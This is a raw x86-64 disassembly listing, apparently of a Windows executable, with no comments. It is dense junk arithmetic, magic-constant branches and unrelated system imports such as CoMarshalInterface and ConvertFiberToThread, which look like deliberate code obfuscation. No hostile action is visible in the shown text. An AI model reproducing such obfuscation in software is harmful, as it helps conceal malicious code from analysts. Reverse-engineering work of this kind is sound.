mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov word [rsp + 0x16d4], ax
mov eax, dword [rsp + 0x54b8]
add eax, 0x40
mov dword [rsp + 0x54b8], eax
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5400]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x236]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x54a8]
mov ecx, dword [rsp + 0x54c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
movsx ecx, word [rsp + 0x16d4]
xor eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movzx eax, byte [0x140289810]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
jmp 0x14005b744
movzx eax, word [rsp + 0x16c4]
mov dword [rsp + 0x54e8], eax
cmp dword [rsp + 0x54e8], 0x3b0c
je 0x14005b8fd
jmp 0x140239068
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x54ec], eax
cmp dword [rsp + 0x54ec], 0x65e50c95
je 0x14005b92e
cmp dword [rsp + 0x54ec], 0xc4b6f299
je 0x14005b9e9
jmp 0x14005ba41
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov dword [rsp + 0x54f0], eax
cmp dword [rsp + 0x54f0], 0x7689
je 0x14005b94f
jmp 0x14005b9cd
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
sub eax, ecx
mov byte [0x140289810], al
lea r9, [rsp + 0x9c70]
lea r8, [rsp + 0x54f4]
mov edx, 0x2e
mov rcx, qword [rsp + 0x9d60]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x54f8], eax
mov rax, qword [rsp + 0x9ce8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x53f0]
movzx r8d, byte [rsp + 0x233]
mov rax, qword [rsp + 0x9d50]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
call fcn.14023bff0
nop
jmp 0x14005b9e7
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov word [rsp + 0x16cc], ax
jmp 0x14005ba41
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov dword [rsp + 0x54fc], eax
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x9c38]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c78]
movzx ecx, byte [rax]
call fcn.14023b310
nop
movzx eax, word [rsp + 0x16c4]
mov dword [rsp + 0x5500], eax
cmp dword [rsp + 0x5500], 0xff9
je 0x140238f3e
cmp dword [rsp + 0x5500], 0x3b0c
je 0x14005ba73
jmp 0x140238f5a
cmp dword [rsp + 0x54dc], 0xec07
jb 0x14005bde8
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16cc]
and eax, ecx
mov word [rsp + 0x16c4], ax
mov eax, dword [rsp + 0x54dc]
sub eax, 0xf3
mov dword [rsp + 0x54dc], eax
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x230]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
and eax, ecx
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9d38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9600]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
or eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
xor eax, ecx
mov byte [0x140288008], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
sar eax, cl
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [0x140289810]
shl eax, cl
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
and eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5448], eax
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16c4]
and eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [0x140289810]
add eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [0x140289810], al
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x234], al
movzx eax, byte [rsp + 0x236]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x230], al
mov eax, dword [rsp + 0x54c8]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x9d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cf8]
mov rcx, qword [rsp + 0x9d38]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x9c68]
mov qword [rsp + 0x9d70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d70]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5448], eax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x235], al
jmp 0x14005ba73
movzx eax, word [rsp + 0x16d0]
mov word [rsp + 0x16d8], ax
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9cb8]
mov rdx, qword [rsp + 0x9600]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x14005bf1e
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov dword [rsp + 0x5504], eax
cmp dword [rsp + 0x5504], 0x562
je 0x14005be83
cmp dword [rsp + 0x5504], 0xf73
je 0x14005beec
jmp 0x14005bf1e
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov word [rsp + 0x16d8], ax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x5400], eax
movzx eax, word [rsp + 0x16cc]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5448], eax
jmp 0x14005bf1e
mov rax, qword [rsp + 0x9d00]
mov r9, qword [rax]
mov rax, qword [rsp + 0x9c28]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x9c90]
mov edx, dword [rax]
mov rax, qword [rsp + 0x9d08]
movzx ecx, word [rax]
call fcn.14023ada0
nop
mov eax, dword [rsp + 0x5400]
mov dword [rsp + 0x5508], eax
cmp dword [rsp + 0x5508], 0x1f7c6fde
je 0x14005bf3b
jmp 0x14005bf46
call fcn.14023a860
nop
jmp 0x140238d8a
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9cf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d38]
mov rdx, qword [rsp + 0x9c60]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140238cfa
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d8]
and eax, ecx
mov word [rsp + 0x16d4], ax
lea rax, [rsp + 0x9600]
mov qword [rsp + 0x9d78], rax
lea rax, [rsp + 0x9c60]
mov qword [rsp + 0x9d80], rax
cmp dword [rsp + 0x5490], 0x5a45
jae 0x14005c287
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
shl eax, cl
mov byte [0x140288008], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16cc]
xor eax, ecx
mov word [rsp + 0x16c8], ax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x236]
sar eax, cl
mov byte [rsp + 0x230], al
movzx eax, word [rsp + 0x16cc]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x5490]
add eax, 0xc2
mov dword [rsp + 0x5490], eax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
and eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9ce8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9d38]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
and eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d8]
movsx ecx, word [rsp + 0x16d4]
or eax, ecx
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9d80]
mov qword [rsp + 0x9d88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c68]
mov qword [rsp + 0x9d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d90]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54c8], eax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
and eax, ecx
mov byte [rsp + 0x231], al
jmp 0x14005bfb8
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9578]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c60]
mov rdx, qword [rsp + 0x9d38]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14005c328
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5448]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0x9d30]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9c58]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x234]
mov rax, qword [rsp + 0x9d30]
movzx ecx, byte [rax]
call fcn.140239e10
nop
jmp 0x140238bfc
mov rax, qword [rsp + 0x9d58]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov edx, dword [rsp + 0x53f8]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x140238bfc
mov rax, qword [rsp + 0x9cf8]
mov rcx, qword [rsp + 0x9d80]
mov qword [rsp + 0x9d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9d58]
mov qword [rsp + 0x9da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9da0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9cb0]
mov edx, dword [rsp + 0x53f8]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jl 0x14005c542
movzx eax, byte [rsp + 0x230]
mov byte [rsp + 0x550c], al
cmp byte [rsp + 0x550c], 0
je 0x14005c3e9
jmp 0x14005c51c
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x16cc]
movzx edx, word [rsp + 0x16c4]
and ecx, edx
cmp eax, ecx
jl 0x14005c51a
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9d50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov rdx, qword [rsp + 0x9d00]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x14005c4ad
mov dword [rsp + 0x28], 0x3b
lea rax, [rsp + 0x2bb60]
mov qword [rsp + 0x20], rax
mov r9d, 0x50
lea r8, [rsp + 0x9da8]
lea rdx, [rsp + 0x2b138]
lea rcx, [rsp + 0x9ce8]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x5468], eax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
add eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x16cc], ax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x9db0], rax
jmp 0x14005c540
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9c50]
shr rax, cl
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
jmp 0x14005c578
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5400]
shl eax, cl
mov dword [rsp + 0x53f8], eax
mov edx, 0x54
mov rcx, qword [rsp + 0x9db8]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9d38]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54fc], eax
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
xor eax, ecx
mov byte [0x140288008], al
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16d0]
add eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
sub eax, ecx
mov word [rsp + 0x16c8], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d8]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9cb8]
mov rcx, qword [rsp + 0x9d50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9578]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x235], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
or eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x230]
xor eax, ecx
mov byte [rsp + 0x236], al
mov eax, dword [rsp + 0x5434]
sub eax, 0xc4
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0x9578]
movzx ecx, al
mov rax, qword [rsp + 0x9d38]
sar rax, cl
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
add eax, ecx
mov byte [0x140288008], al
cmp dword [rsp + 0x5434], 0xe4b7
jae 0x14005c578
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x16c4]
and ecx, edx
cmp eax, ecx
jne 0x14005c8ef
movzx eax, word [rsp + 0x16d8]
mov word [rsp + 0x16e0], ax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0x9d38]
mov qword [rsp + 0x9dc0], rax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5400]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
mov dword [rsp + 0x5510], 0xafcc
jmp 0x14005c9bb
mov rax, qword [rsp + 0x9ce8]
movzx ecx, al
mov rax, qword [rsp + 0x9600]
shr rax, cl
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x5448]
mov dword [rsp + 0x5514], eax
cmp dword [rsp + 0x5514], 0x1ce96244
je 0x14005c99f
cmp dword [rsp + 0x5514], 0x42e6432c
je 0x14005c93a
jmp 0x14005c9bb
lea rcx, [rsp + 0x9d58]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0x5498], eax
movsx eax, word [rsp + 0x1380]
movsx ecx, word [rsp + 0x16d4]
shl eax, cl
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c58]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x231]
mov rax, qword [rsp + 0x9c28]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c28]
movzx ecx, byte [rax]
call fcn.140239e10
nop
jmp 0x14005c9bb
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x234], al
mov dword [rsp + 0x5518], 0xb241
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16e0]
add eax, ecx
movsx ecx, word [rsp + 0x1380]
movsx edx, word [rsp + 0x16d8]
add ecx, edx
cmp eax, ecx
jle 0x14005ca37
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x551c], eax
movzx eax, word [rsp + 0x16cc]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16c8], ax
lea rax, [rsp + 0x12a]
mov qword [rsp + 0x9dc8], rax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x53f8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140238afb
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x236]
and eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [rsp + 0x235], al
mov eax, dword [rsp + 0x5478]
sub eax, 0x3f
mov dword [rsp + 0x5478], eax
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5428]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9c60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x230]
or eax, ecx
mov byte [0x140289810], al
